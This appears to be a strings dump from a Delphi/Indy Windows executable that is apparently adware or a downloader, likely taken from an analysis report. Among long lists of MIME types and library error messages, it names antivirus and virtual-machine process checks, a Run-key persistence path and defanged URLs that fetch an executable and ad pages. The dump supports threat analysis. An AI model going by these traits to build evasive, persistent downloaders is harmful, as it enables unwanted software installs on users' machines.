.pbm=image/x-portable-bitmap

.pbm=image/x-portable-bitmap

.pgm=image/x-portable-graymap

.pgm=image/x-portable-graymap

.ppm=image/x-portable-pixmap

.ppm=image/x-portable-pixmap

.rgb=image/x-rgb

.rgb=image/x-rgb

.xbm=image/x-xbitmap

.xbm=image/x-xbitmap

.xpm=image/x-xpixmap

.xpm=image/x-xpixmap

.xwd=image/x-xwindowdump

.xwd=image/x-xwindowdump

.xml=text/xml

.xml=text/xml

.uls=text/iuls

.uls=text/iuls

.txt=text/plain

.txt=text/plain

.rtx=text/richtext

.rtx=text/richtext

.wsc=text/scriptlet

.wsc=text/scriptlet

.rt=text/vnd.rn-realtext

.rt=text/vnd.rn-realtext

.htt=text/webviewhtml

.htt=text/webviewhtml

.htc=text/x-component

.htc=text/x-component

.vcf=text/x-vcard

.vcf=text/x-vcard

.avi=video/x-msvideo

.avi=video/x-msvideo

.flc=video/flc

.flc=video/flc

.mp2=video/mpeg

.mp2=video/mpeg

.mp3=video/mpeg

.mp3=video/mpeg

.mp4=video/mpeg

.mp4=video/mpeg

.mpeg=video/x-mpeg2a

.mpeg=video/x-mpeg2a

.mpa=video/mpeg

.mpa=video/mpeg

.mpe=video/mpeg

.mpe=video/mpeg

.mpg=video/mpeg

.mpg=video/mpeg

.mov=video/quicktime

.mov=video/quicktime

.rv=video/vnd.rn-realvideo

.rv=video/vnd.rn-realvideo

.ivf=video/x-ivf

.ivf=video/x-ivf

.wm=video/x-ms-wm

.wm=video/x-ms-wm

.wmp=video/x-ms-wmp

.wmp=video/x-ms-wmp

.wmv=video/x-ms-wmv

.wmv=video/x-ms-wmv

.wmx=video/x-ms-wmx

.wmx=video/x-ms-wmx

.wvx=video/x-ms-wvx

.wvx=video/x-ms-wvx

.rms=video/vnd.rn-realvideo-secure

.rms=video/vnd.rn-realvideo-secure

.asx=video/x-ms-asf-plugin

.asx=video/x-ms-asf-plugin

.movie=video/x-sgi-movie

.movie=video/x-sgi-movie

.aab=application/x-authorware-bin

.aab=application/x-authorware-bin

.aam=application/x-authorware-map

.aam=application/x-authorware-map

.aas=application/x-authorware-seg

.aas=application/x-authorware-seg

.abw=application/x-abiword

.abw=application/x-abiword

.ai=application/postscript

.ai=application/postscript

.arj=application/x-arj

.arj=application/x-arj

.asf=application/vnd.ms-asf

.asf=application/vnd.ms-asf

.bat=application/x-msdos-program

.bat=application/x-msdos-program

.bcpio=application/x-bcpio

.bcpio=application/x-bcpio

.bz2=application/x-bzip2

.bz2=application/x-bzip2

.cab=application/vnd.ms-cab-compressed

.cab=application/vnd.ms-cab-compressed

.cat=application/vnd.ms-pki.seccat

.cat=application/vnd.ms-pki.seccat

.ccn=application/x-cnc

.ccn=application/x-cnc

.cco=application/x-cocoa

.cco=application/x-cocoa

.cdf=application/x-cdf

.cdf=application/x-cdf

.cer=application/x-x509-ca-cert

.cer=application/x-x509-ca-cert

.chm=application/vnd.ms-htmlhelp

.chm=application/vnd.ms-htmlhelp

.chrt=application/vnd.kde.kchart

.chrt=application/vnd.kde.kchart

.cil=application/vnd.ms-artgalry

.cil=application/vnd.ms-artgalry

.class=application/java-vm

.class=application/java-vm

.com=application/x-msdos-program

.com=application/x-msdos-program

.clp=application/x-msclip

.clp=application/x-msclip

.cpio=application/x-cpio

.cpio=application/x-cpio

.cpt=application/mac-compactpro

.cpt=application/mac-compactpro

.cqk=application/x-calquick

.cqk=application/x-calquick

.crd=application/x-mscardfile

.crd=application/x-mscardfile

.crl=application/pkix-crl

.crl=application/pkix-crl

.csh=application/x-csh

.csh=application/x-csh

.dbf=application/x-dbase

.dbf=application/x-dbase

.dcr=application/x-director

.dcr=application/x-director

.deb=application/x-debian-package

.deb=application/x-debian-package

.dir=application/x-director

.dir=application/x-director

.dist=vnd.apple.installer xml

.dist=vnd.apple.installer xml

.distz=vnd.apple.installer xml

.distz=vnd.apple.installer xml

.dll=application/x-msdos-program

.dll=application/x-msdos-program

.dmg=application/x-apple-diskimage

.dmg=application/x-apple-diskimage

.doc=application/msword

.doc=application/msword

.dot=application/msword

.dot=application/msword

.dvi=application/x-dvi

.dvi=application/x-dvi

.dxr=application/x-director

.dxr=application/x-director

.ebk=application/x-expandedbook

.ebk=application/x-expandedbook

.eps=application/postscript

.eps=application/postscript

.evy=application/envoy

.evy=application/envoy

.exe=application/x-msdos-program

.exe=application/x-msdos-program

.fdf=application/vnd.fdf

.fdf=application/vnd.fdf

.fif=application/fractals

.fif=application/fractals

.flm=application/vnd.kde.kivio

.flm=application/vnd.kde.kivio

.fml=application/x-file-mirror-list

.fml=application/x-file-mirror-list

.gnumeric=application/x-gnumeric

.gnumeric=application/x-gnumeric

.gtar=application/x-gtar

.gtar=application/x-gtar

.gz=application/x-gzip

.gz=application/x-gzip

.hdf=application/x-hdf

.hdf=application/x-hdf

.hlp=application/winhlp

.hlp=application/winhlp

.hpf=application/x-icq-hpf

.hpf=application/x-icq-hpf

.hqx=application/mac-binhex40

.hqx=application/mac-binhex40

.hta=application/hta

.hta=application/hta

.ims=application/vnd.ms-ims

.ims=application/vnd.ms-ims

.ins=application/x-internet-signup

.ins=application/x-internet-signup

.iii=application/x-iphone

.iii=application/x-iphone

.iso=application/x-iso9660-image

.iso=application/x-iso9660-image

.jar=application/java-archive

.jar=application/java-archive

.karbon=application/vnd.kde.karbon

.karbon=application/vnd.kde.karbon

.kfo=application/vnd.kde.kformula

.kfo=application/vnd.kde.kformula

.kon=application/vnd.kde.kontour

.kon=application/vnd.kde.kontour

.kpr=application/vnd.kde.kpresenter

.kpr=application/vnd.kde.kpresenter

.kpt=application/vnd.kde.kpresenter

.kpt=application/vnd.kde.kpresenter

.kwd=application/vnd.kde.kword

.kwd=application/vnd.kde.kword

.kwt=application/vnd.kde.kword

.kwt=application/vnd.kde.kword

.latex=application/x-latex

.latex=application/x-latex

.lha=application/x-lzh

.lha=application/x-lzh

.lcc=application/fastman

.lcc=application/fastman

.lrm=application/vnd.ms-lrm

.lrm=application/vnd.ms-lrm

.lzh=application/x-lzh

.lzh=application/x-lzh

.mpp=application/vnd.ms-project

.mpp=application/vnd.ms-project

.mvb=application/x-msmediaview

.mvb=application/x-msmediaview

.man=application/x-troff-man

.man=application/x-troff-man

.mdb=application/x-msaccess

.mdb=application/x-msaccess

.me=application/x-troff-me

.me=application/x-troff-me

.ms=application/x-troff-ms

.ms=application/x-troff-ms

.msi=application/x-msi

.msi=application/x-msi

.mpkg=vnd.apple.installer xml

.mpkg=vnd.apple.installer xml

.mny=application/x-msmoney

.mny=application/x-msmoney

.nix=application/x-mix-transfer

.nix=application/x-mix-transfer

.oda=application/oda

.oda=application/oda

.odb=application/vnd.oasis.opendocument.database

.odb=application/vnd.oasis.opendocument.database

.odc=application/vnd.oasis.opendocument.chart

.odc=application/vnd.oasis.opendocument.chart

.odf=application/vnd.oasis.opendocument.formula

.odf=application/vnd.oasis.opendocument.formula

.odg=application/vnd.oasis.opendocument.graphics

.odg=application/vnd.oasis.opendocument.graphics

.odi=application/vnd.oasis.opendocument.image

.odi=application/vnd.oasis.opendocument.image

.odm=application/vnd.oasis.opendocument.text-master

.odm=application/vnd.oasis.opendocument.text-master

.odp=application/vnd.oasis.opendocument.presentation

.odp=application/vnd.oasis.opendocument.presentation

.ods=application/vnd.oasis.opendocument.spreadsheet

.ods=application/vnd.oasis.opendocument.spreadsheet

.ogg=application/ogg

.ogg=application/ogg

.odt=application/vnd.oasis.opendocument.text

.odt=application/vnd.oasis.opendocument.text

.otg=application/vnd.oasis.opendocument.graphics-template

.otg=application/vnd.oasis.opendocument.graphics-template

.oth=application/vnd.oasis.opendocument.text-web

.oth=application/vnd.oasis.opendocument.text-web

.otp=application/vnd.oasis.opendocument.presentation-template

.otp=application/vnd.oasis.opendocument.presentation-template

.ots=application/vnd.oasis.opendocument.spreadsheet-template

.ots=application/vnd.oasis.opendocument.spreadsheet-template

.ott=application/vnd.oasis.opendocument.text-template

.ott=application/vnd.oasis.opendocument.text-template

.p7b=application/x-pkcs7-certificates

.p7b=application/x-pkcs7-certificates

.p7r=application/x-pkcs7-certreqresp

.p7r=application/x-pkcs7-certreqresp

.package=application/vnd.autopackage

.package=application/vnd.autopackage

.pfr=application/font-tdpfr

.pfr=application/font-tdpfr

.pkg=vnd.apple.installer xml

.pkg=vnd.apple.installer xml

.pdf=application/pdf

.pdf=application/pdf

.pko=application/vnd.ms-pki.pko

.pko=application/vnd.ms-pki.pko

.pl=application/x-perl

.pl=application/x-perl

.pnq=application/x-icq-pnq

.pnq=application/x-icq-pnq

.pot=application/mspowerpoint

.pot=application/mspowerpoint

.pps=application/mspowerpoint

.pps=application/mspowerpoint

.ppt=application/mspowerpoint

.ppt=application/mspowerpoint

.ppz=application/mspowerpoint

.ppz=application/mspowerpoint

.ps=application/postscript

.ps=application/postscript

.pub=application/x-mspublisher

.pub=application/x-mspublisher

.qpw=application/x-quattropro

.qpw=application/x-quattropro

.qtl=application/x-quicktimeplayer

.qtl=application/x-quicktimeplayer

.rar=application/rar

.rar=application/rar

.rdf=application/rdf xml

.rdf=application/rdf xml

.rjs=application/vnd.rn-realsystem-rjs

.rjs=application/vnd.rn-realsystem-rjs

.rm=application/vnd.rn-realmedia

.rm=application/vnd.rn-realmedia

.rmf=application/vnd.rmf

.rmf=application/vnd.rmf

.rmp=application/vnd.rn-rn_music_package

.rmp=application/vnd.rn-rn_music_package

.rmx=application/vnd.rn-realsystem-rmx

.rmx=application/vnd.rn-realsystem-rmx

.rnx=application/vnd.rn-realplayer

.rnx=application/vnd.rn-realplayer

.rpm=application/x-redhat-package-manager

.rpm=application/x-redhat-package-manager

.rsml=application/vnd.rn-rsml

.rsml=application/vnd.rn-rsml

.rtsp=application/x-rtsp

.rtsp=application/x-rtsp

.rss=application/rss xml

.rss=application/rss xml

.scm=application/x-icq-scm

.scm=application/x-icq-scm

.ser=application/java-serialized-object

.ser=application/java-serialized-object

.sh=application/x-sh

.sh=application/x-sh

.shar=application/x-shar

.shar=application/x-shar

.scd=application/x-msschedule

.scd=application/x-msschedule

.sda=application/vnd.stardivision.draw

.sda=application/vnd.stardivision.draw

.sdc=application/vnd.stardivision.calc

.sdc=application/vnd.stardivision.calc

.sdd=application/vnd.stardivision.impress

.sdd=application/vnd.stardivision.impress

.sdp=application/x-sdp

.sdp=application/x-sdp

.setpay=application/set-payment-initiation

.setpay=application/set-payment-initiation

.setreg=application/set-registration-initiation

.setreg=application/set-registration-initiation

.shw=application/presentations

.shw=application/presentations

.sit=application/x-stuffit

.sit=application/x-stuffit

.skd=application/x-koan

.skd=application/x-koan

.skm=application/x-koan

.skm=application/x-koan

.skp=application/x-koan

.skp=application/x-koan

.skt=application/x-koan

.skt=application/x-koan

.smf=application/vnd.stardivision.math

.smf=application/vnd.stardivision.math

.smi=application/smil

.smi=application/smil

.smil=application/smil

.smil=application/smil

.spl=application/futuresplash

.spl=application/futuresplash

.ssm=application/streamingmedia

.ssm=application/streamingmedia

.sst=application/vnd.ms-pki.certstore

.sst=application/vnd.ms-pki.certstore

.stc=application/vnd.sun.xml.calc.template

.stc=application/vnd.sun.xml.calc.template

.std=application/vnd.sun.xml.draw.template

.std=application/vnd.sun.xml.draw.template

.sti=application/vnd.sun.xml.impress.template

.sti=application/vnd.sun.xml.impress.template

.stl=application/vnd.ms-pki.stl

.stl=application/vnd.ms-pki.stl

.stw=application/vnd.sun.xml.writer.template

.stw=application/vnd.sun.xml.writer.template

.svi=application/softvision

.svi=application/softvision

.sv4cpio=application/x-sv4cpio

.sv4cpio=application/x-sv4cpio

.sv4crc=application/x-sv4crc

.sv4crc=application/x-sv4crc

.swf=application/x-shockwave-flash

.swf=application/x-shockwave-flash

.sxc=application/vnd.sun.xml.calc

.sxc=application/vnd.sun.xml.calc

.sxi=application/vnd.sun.xml.impress

.sxi=application/vnd.sun.xml.impress

.sxm=application/vnd.sun.xml.math

.sxm=application/vnd.sun.xml.math

.sxw=application/vnd.sun.xml.writer

.sxw=application/vnd.sun.xml.writer

.sxg=application/vnd.sun.xml.writer.global

.sxg=application/vnd.sun.xml.writer.global

.tar=application/x-tar

.tar=application/x-tar

.tcl=application/x-tcl

.tcl=application/x-tcl

.tex=application/x-tex

.tex=application/x-tex

.texi=application/x-texinfo

.texi=application/x-texinfo

.texinfo=application/x-texinfo

.texinfo=application/x-texinfo

.tr=application/x-troff

.tr=application/x-troff

.trm=application/x-msterminal

.trm=application/x-msterminal

.troff=application/x-troff

.troff=application/x-troff

.tsp=application/dsptype

.tsp=application/dsptype

.tgz=application/x-compressed

.tgz=application/x-compressed

.torrent=application/x-bittorrent

.torrent=application/x-bittorrent

.ttz=application/t-time

.ttz=application/t-time

.uin=application/x-icq

.uin=application/x-icq

.urls=application/x-url-list

.urls=application/x-url-list

.ustar=application/x-ustar

.ustar=application/x-ustar

.vcd=application/x-cdlink

.vcd=application/x-cdlink

.vor=application/vnd.stardivision.writer

.vor=application/vnd.stardivision.writer

.vsl=application/x-cnet-vsl

.vsl=application/x-cnet-vsl

.wcm=application/vnd.ms-works

.wcm=application/vnd.ms-works

.wb1=application/x-quattropro

.wb1=application/x-quattropro

.wb2=application/x-quattropro

.wb2=application/x-quattropro

.wb3=application/x-quattropro

.wb3=application/x-quattropro

.wdb=application/vnd.ms-works

.wdb=application/vnd.ms-works

.wks=application/vnd.ms-works

.wks=application/vnd.ms-works

.wmd=application/x-ms-wmd

.wmd=application/x-ms-wmd

.wms=application/x-ms-wms

.wms=application/x-ms-wms

.wmz=application/x-ms-wmz

.wmz=application/x-ms-wmz

.wp5=application/wordperfect5.1

.wp5=application/wordperfect5.1

.wpd=application/wordperfect

.wpd=application/wordperfect

.wpl=application/vnd.ms-wpl

.wpl=application/vnd.ms-wpl

.wps=application/vnd.ms-works

.wps=application/vnd.ms-works

.wri=application/x-mswrite

.wri=application/x-mswrite

.xfdf=application/vnd.adobe.xfdf

.xfdf=application/vnd.adobe.xfdf

.xls=application/x-msexcel

.xls=application/x-msexcel

.xlb=application/x-msexcel

.xlb=application/x-msexcel

.xpi=application/x-xpinstall

.xpi=application/x-xpinstall

.xps=application/vnd.ms-xpsdocument

.xps=application/vnd.ms-xpsdocument

.xsd=application/vnd.sun.xml.draw

.xsd=application/vnd.sun.xml.draw

.xul=application/vnd.mozilla.xul xml

.xul=application/vnd.mozilla.xul xml

.zoo=application/x-zoo

.zoo=application/x-zoo

.zip=application/x-zip-compressed

.zip=application/x-zip-compressed

.wbmp=image/vnd.wap.wbmp

.wbmp=image/vnd.wap.wbmp

.wml=text/vnd.wap.wml

.wml=text/vnd.wap.wml

.wmlc=application/vnd.wap.wmlc

.wmlc=application/vnd.wap.wmlc

.wmls=text/vnd.wap.wmlscript

.wmls=text/vnd.wap.wmlscript

.wmlsc=application/vnd.wap.wmlscriptc

.wmlsc=application/vnd.wap.wmlscriptc

.pas=text/x-pascal

.pas=text/x-pascal

.hpp=text/x-c hdr

.hpp=text/x-c hdr

.hxx=text/x-c hdr

.hxx=text/x-c hdr

.hh=text/x-c hdr

.hh=text/x-c hdr

.cpp=text/x-c src

.cpp=text/x-c src

.cxx=text/x-c src

.cxx=text/x-c src

.cc=text/x-c src

.cc=text/x-c src

.java=text/x-java

.java=text/x-java

.css=text/css

.css=text/css

.js=text/javascript

.js=text/javascript

.htm=text/html

.htm=text/html

.html=text/html

.html=text/html

.ls=text/javascript

.ls=text/javascript

.mocha=text/javascript

.mocha=text/javascript

.shtml=server-parsed-html

.shtml=server-parsed-html

.sgm=text/sgml

.sgm=text/sgml

.sgml=text/sgml

.sgml=text/sgml

C:\Builds\TP\indysockets\lib\Protocols\IdGlobalProtocols.pas

C:\Builds\TP\indysockets\lib\Protocols\IdGlobalProtocols.pas

()@,;:\"/[]?=

()@,;:\"/[]?=

()@,;:\"/[]?=

()@,;:\"/[]?=

Content-Disposition: form-data; name="%s"; filename="%s"

Content-Disposition: form-data; name="%s"; filename="%s"

Content-Type: %s

Content-Type: %s

Content-Disposition: form-data; name="%s"

Content-Disposition: form-data; name="%s"

*#% []

*#% []

*#% []

*#% []

HTTPS

HTTPS

TIdEncoder3to4.Encode: Calculated length exceeded (expected

TIdEncoder3to4.Encode: Calculated length exceeded (expected

C:\Builds\TP\indysockets\lib\Protocols\IdCoder3to4.pas

C:\Builds\TP\indysockets\lib\Protocols\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length not met (expected

TIdEncoder3to4.Encode: Calculated length not met (expected

HttpOnly

HttpOnly

HTTPONLY

HTTPONLY

port

port

COMMENTURL

COMMENTURL

PORT

PORT

.local

.local

C:\Builds\TP\indysockets\lib\Protocols\IdZLibCompressorBase.pas

C:\Builds\TP\indysockets\lib\Protocols\IdZLibCompressorBase.pas

C:\Builds\TP\indysockets\lib\Core\IdThread.pas

C:\Builds\TP\indysockets\lib\Core\IdThread.pas

C:\Builds\TP\indysockets\lib\Core\IdScheduler.pas

C:\Builds\TP\indysockets\lib\Core\IdScheduler.pas

Mozilla/3.0 (compatible; Indy Library)

Mozilla/3.0 (compatible; Indy Library)

%d%s%d

%d%s%d

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSLHeaders.pas

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSLHeaders.pas

libeay32.dll

libeay32.dll

ssleay32.dll

ssleay32.dll

libssl32.dll

libssl32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate

SSL_CTX_use_certificate

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

X509_STORE_CTX_get_current_cert

DES_set_key

DES_set_key

_ossl_old_des_set_key

_ossl_old_des_set_key

des_set_key

des_set_key

RSA_generate_key

RSA_generate_key

RSA_check_key

RSA_check_key

i2d_PrivateKey_bio

i2d_PrivateKey_bio

X509_set_pubkey

X509_set_pubkey

X509_REQ_set_pubkey

X509_REQ_set_pubkey

PEM_write_bio_PKCS8PrivateKey

PEM_write_bio_PKCS8PrivateKey

PEM_read_bio_PrivateKey

PEM_read_bio_PrivateKey

EVP_PKEY_type

EVP_PKEY_type

EVP_PKEY_new

EVP_PKEY_new

EVP_PKEY_free

EVP_PKEY_free

EVP_PKEY_assign

EVP_PKEY_assign

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSL.pas

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSL.pas

C:\Builds\TP\indysockets\lib\Protocols\IdHTTP.pas

C:\Builds\TP\indysockets\lib\Protocols\IdHTTP.pas

application/x-www-form-urlencoded

application/x-www-form-urlencoded

https

https

HTTP/1.0 200 OK

HTTP/1.0 200 OK

HTTP/

HTTP/

Mozilla/5.0

Mozilla/5.0

00-00-00-00-00-00

00-00-00-00-00-00

VBoxService.exe

VBoxService.exe

ShadowTip.exe

ShadowTip.exe

PowerRemind.exe

PowerRemind.exe

ShadowService.exe

ShadowService.exe

/paramfile/main.txt

/paramfile/main.txt

360Tray.exe

360Tray.exe

/detail.ashx

/detail.ashx

/bestcount.ashx

/bestcount.ashx

/newcount.aspx

/newcount.aspx

/will.html

/will.html

;hXXp://downbase.oss-cn-qingdao.aliyuncs.com/OfficeAssist.0195.80.1054.exe;OfficeAssist.0195.80.1054.exe;0;0;

;hXXp://downbase.oss-cn-qingdao.aliyuncs.com/OfficeAssist.0195.80.1054.exe;OfficeAssist.0195.80.1054.exe;0;0;

hXXp://VVV.91debug.com/ad.html

hXXp://VVV.91debug.com/ad.html

QQPCtray.exe

QQPCtray.exe

InternetExplorer.Application

InternetExplorer.Application

Explorer.exe

Explorer.exe

/paramfile/navweb.txt

/paramfile/navweb.txt

hXXp://jc.110160.com/ad.htm

hXXp://jc.110160.com/ad.htm

SOFTWARE\Microsoft\windows\CurrentVersion\Run

SOFTWARE\Microsoft\windows\CurrentVersion\Run

firefox

firefox

chrome

chrome

opera

opera

hXXp://jc.110160.com

hXXp://jc.110160.com

\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Kernel32.dll

Kernel32.dll

Open SSL Support DLL Delphi and C Builder interface

Open SSL Support DLL Delphi and C Builder interface

hXXp://VVV.indyproject.org/

hXXp://VVV.indyproject.org/

1993 - 2009

1993 - 2009

hXXp://tongji.110160.com

hXXp://tongji.110160.com

/paramfile/tasklist.txt

/paramfile/tasklist.txt

ymeta.dat

ymeta.dat

SSL status: "%s"pUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.

SSL status: "%s"pUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.

Unsupported operation.&Cannot change the size of a JPEG image

Unsupported operation.&Cannot change the size of a JPEG image

JPEG error #%d

JPEG error #%d

(Request method requires HTTP version 1.1DThis authentication method is already registered with class name %s.KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.

(Request method requires HTTP version 1.1DThis authentication method is already registered with class name %s.KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.

Error creating SSL context. Could not load root certificate.

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

Could not load certificate.#Could not load key, check password.

Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.$Cannot change a connected IOHandler.%No IOHandler of type %s is installed.

Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.$Cannot change a connected IOHandler.%No IOHandler of type %s is installed.

Reply Code is not valid: %s

Reply Code is not valid: %s

Reply Code already exists: %s

Reply Code already exists: %s

"%d: Circular links are not allowed"Not enough data in buffer. (%d/%d)

"%d: Circular links are not allowed"Not enough data in buffer. (%d/%d)

File "%s" not found

File "%s" not found

Object type not supported.

Object type not supported.

Already connected.'Maximum number of line allowed exceeded)UDP is not support in this SOCKS version.

Already connected.'Maximum number of line allowed exceeded)UDP is not support in this SOCKS version.

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Command not supported.

Command not supported.

Address type not supported.

Address type not supported.

Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Invalid Port Range (%d - %d)

Invalid Port Range (%d - %d)

%s is not a valid service.

%s is not a valid service.

%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.

%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Operation would block.

Operation would block.

Operation now in progress.

Operation now in progress.

Operation already in progress.

Operation already in progress.

Socket operation on non-socket.

Socket operation on non-socket.

Protocol not supported.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

Protocol family not supported.0Address family not supported by protocol family.

Network is down.4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)

Network is down.4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)

Resolving hostname %s.

Resolving hostname %s.

Connecting to %s.

Connecting to %s.

Socket Error # %d

Socket Error # %d

- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.

- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

DCOM not installed"'%s' is not a valid property value

DCOM not installed"'%s' is not a valid property value

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

All Clipboard does not support Icons Operation not supported on selected printer.There is no default printer currently selected/Menu '%s' is already being used by another form

All Clipboard does not support Icons Operation not supported on selected printer.There is no default printer currently selected/Menu '%s' is already being used by another form

%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent

%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'

No help found for %s

No help found for %s

Scan line index out of range!Cannot change the size of an iconÊnnot change the size of a WIC Image Invalid operation on TOleGraphic$Unknown picture file extension (.%s)

Scan line index out of range!Cannot change the size of an iconÊnnot change the size of a WIC Image Invalid operation on TOleGraphic$Unknown picture file extension (.%s)

Unsupported clipboard format

Unsupported clipboard format

Invalid image size2Cannot call Start on a running or suspended thread'Parameter %s cannot be a negative value*Input buffer exceeded for %s = %d, %s = %d The specified file was not found$No help viewer that supports filters7String index out of range (%d). Must be >= 1 and

Invalid image size2Cannot call Start on a running or suspended thread'Parameter %s cannot be a negative value*Input buffer exceeded for %s = %d, %s = %d The specified file was not found$No help viewer that supports filters7String index out of range (%d). Must be >= 1 and

Invalid Timeout value: %s#''%s'' is not a valid integer value

Invalid Timeout value: %s#''%s'' is not a valid integer value

Error reading %s%s%s: %s

Error reading %s%s%s: %s

Failed to create key %s

Failed to create key %s

Failed to get data for '%s'

Failed to get data for '%s'

Failed to set data for '%s'

Failed to set data for '%s'

Resource %s not found

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Property %s does not exist

Thread creation error: %s

Thread creation error: %s

Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread#A component named %s already exists%String list does not allow duplicates

Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot create file "%s". %s

Cannot open file "%s". %s

Cannot open file "%s". %s

Invalid file name - %s

Invalid file name - %s

Invalid stream format$''%s'' is not a valid component name

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class

List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class

Invalid destination array"Character index out of bounds (%d)

Invalid destination array"Character index out of bounds (%d)

Start index out of bounds (%d)

Start index out of bounds (%d)

Invalid count (%d)

Invalid count (%d)

Invalid destination index (%d)

Invalid destination index (%d)

Ancestor for '%s' not found

Ancestor for '%s' not found

Cannot assign a %s to a %s

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)

A class named %s already exists%List does not allow duplicates ($0%x)

External exception %x

External exception %x

Interface not supported

Interface not supported

Object lock not owned(Monitor support function not initialized

Object lock not owned(Monitor support function not initialized

%s (%s, line %d)

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

System Error. Code: %d.

Invalid variant operation

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

Operation not supported

Invalid class typecast0Access violation at address %p. %s of address %p

Invalid class typecast0Access violation at address %p. %s of address %p

Operation aborted(Exception %s in module %s at %p.

Operation aborted(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

No argument for format '%s'"Variant method calls not supported

I/O error %d

I/O error %d

Integer overflow Invalid floating point operation

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid pointer operation

copy%original file name%.exe_1524:

.text

.text

`.itext

`.itext

`.data

`.data

.idata

.idata

.didata

.didata

.rdata

.rdata

@.reloc

@.reloc

B.rsrc

B.rsrc

biClrImportant

biClrImportant

tagMSG

tagMSG

Windows

Windows

